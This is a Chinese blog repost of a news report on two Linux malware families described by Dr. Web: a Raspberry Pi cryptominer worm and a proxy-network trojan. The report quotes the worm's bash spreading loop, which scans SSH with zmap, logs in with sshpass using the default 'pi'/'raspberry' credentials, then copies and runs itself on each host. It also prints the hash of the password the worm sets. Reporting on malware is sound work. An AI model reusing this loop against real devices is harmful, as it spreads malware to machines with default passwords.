博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
两款新型Linux恶意软件:一个挖加密货币,一个创建代理网络
阅读量:6656 次
发布时间:2019-06-25

本文共 1649 字,大约阅读时间需要 5 分钟。

俄罗斯反病毒开发商Dr. Web公司的恶意软件研究人员们已经发现了两款新型Linux恶意软件,分别名为Kinux.Muldrop.14和Linux.ProxyM。

Kinux.Muldrop.14:主要用于挖掘加密货币

根据Dr. Web公司介绍,Kinux.Muldrop.14的能够感染树莓派(Raspberry Pi)设备以借此实现加密货币挖掘。该恶意软件于今年5月份被首次发现,研究人员们找到了一套包含压缩与加密应用程序的脚本。

Kinux.MulDrop.14主要针对具备SSH外部开放端口的非安全树莓派设备。

此Linux恶意软件为一款包含采矿程序的bash脚本,其利用gzip压缩并配合base64加密机制。一旦被启用,该脚本将关闭多个进程并安装其操作所需要的库。

一旦此Linux恶意软件成功感染设备,其即会首先修改“pi”帐户的密码内容:

$6\$U1Nu9qCp$FhPuo8s5PsQlH6lwUdTwFcAUPNzmr0pWCdNJj.p6l4Mzi8S867YLmc7BspmEH95POvxPQ3PzP029yT1L3yi6K1

另外,该恶意软件会关闭多项进程并安装ZMap以及sshpass等库。

在此之后,该恶意软件会启动一个加密货币挖掘进程,并利用ZMap扫描互联网以寻找其它可资感染的设备。

当此Linux恶意软件在互联网上找到某一台树莓派设备时,其会利用sshpass以尝试使用默认用户名“pi”及默认密码“raspberry”进行登录。

该恶意软件只会尝试使用数个值,这表明其专门针对Raspberry Pi设备。专家们认为,此恶意软件可实现进一步改进,从而在未来几周内用于攻击其它平台。

以下为Dr. Web公司公布的代码片段:

NAME=mktemp -u 'XXXXXXXX'

while [ true ]; do

FILE=mktemp

zmap -p 22 -o $FILE -n 100000

killall ssh scp

for IP in cat $FILE

do

sshpass -praspberry scp -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no $MYSELF pi@$IP:/tmp/$NAME && echo $IP >> /tmp/.r && sshpass -praspberry ssh pi@$IP -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no "cd /tmp && chmod +x $NAME && bash -c ./$NAME" &

done

rm -rf $FILE

sleep 10

done

Linux.ProxyM:用于创建代理网络

Dr. Web公司的研究人员们还分析了另一款新型Linux恶意软件名为Linux.ProxyM,其主要用于创建代理网络。攻击者自2017年2月开始即利用此木马实施攻击,但直到5月底此类活动才达到顶峰。受到Linux.ProxyM感染的设备数量如今已经超过1万台。

下图所示为Dr. Web公司安全专家们所确定的Linux.ProxyM攻击活动数量。

两款新型Linux恶意软件:一个挖加密货币,一个创建代理网络-E安全

该恶意代码会在受感染设备上创建一套SOCKS代理服务器,并将其用于中继恶意流量以掩饰真实来源。

本文转自d1net(转载)

你可能感兴趣的文章
Linux命令大全
查看>>
git 拉取和获取 pull 和 fetch 区别
查看>>
html5系列目录
查看>>
C# 视频监控系列(1):准备
查看>>
6.3. 获取当前用户
查看>>
软件架构中的层次依赖
查看>>
两个容易被忽略的mysql知识
查看>>
ORACLE SOA SUITE ORABPEL-12133 错误解决
查看>>
除了新闻识别,这家媒体还利用AI管理内容分发,2500万人已关注
查看>>
【Python】执行系统命令的常见用法
查看>>
Yarn 安装
查看>>
敏捷开发中如何定义“完成”?
查看>>
机器学习光速入门
查看>>
Hexo博客SEO优化
查看>>
深入理解jQuery插件开发总结(二)
查看>>
熟悉的< script >标签
查看>>
Eslint-代码规范请了解一下
查看>>
Jasperreport 报表开发
查看>>
java基础提高之Vector
查看>>
构建基于 Node.js 的条形码识别程序
查看>>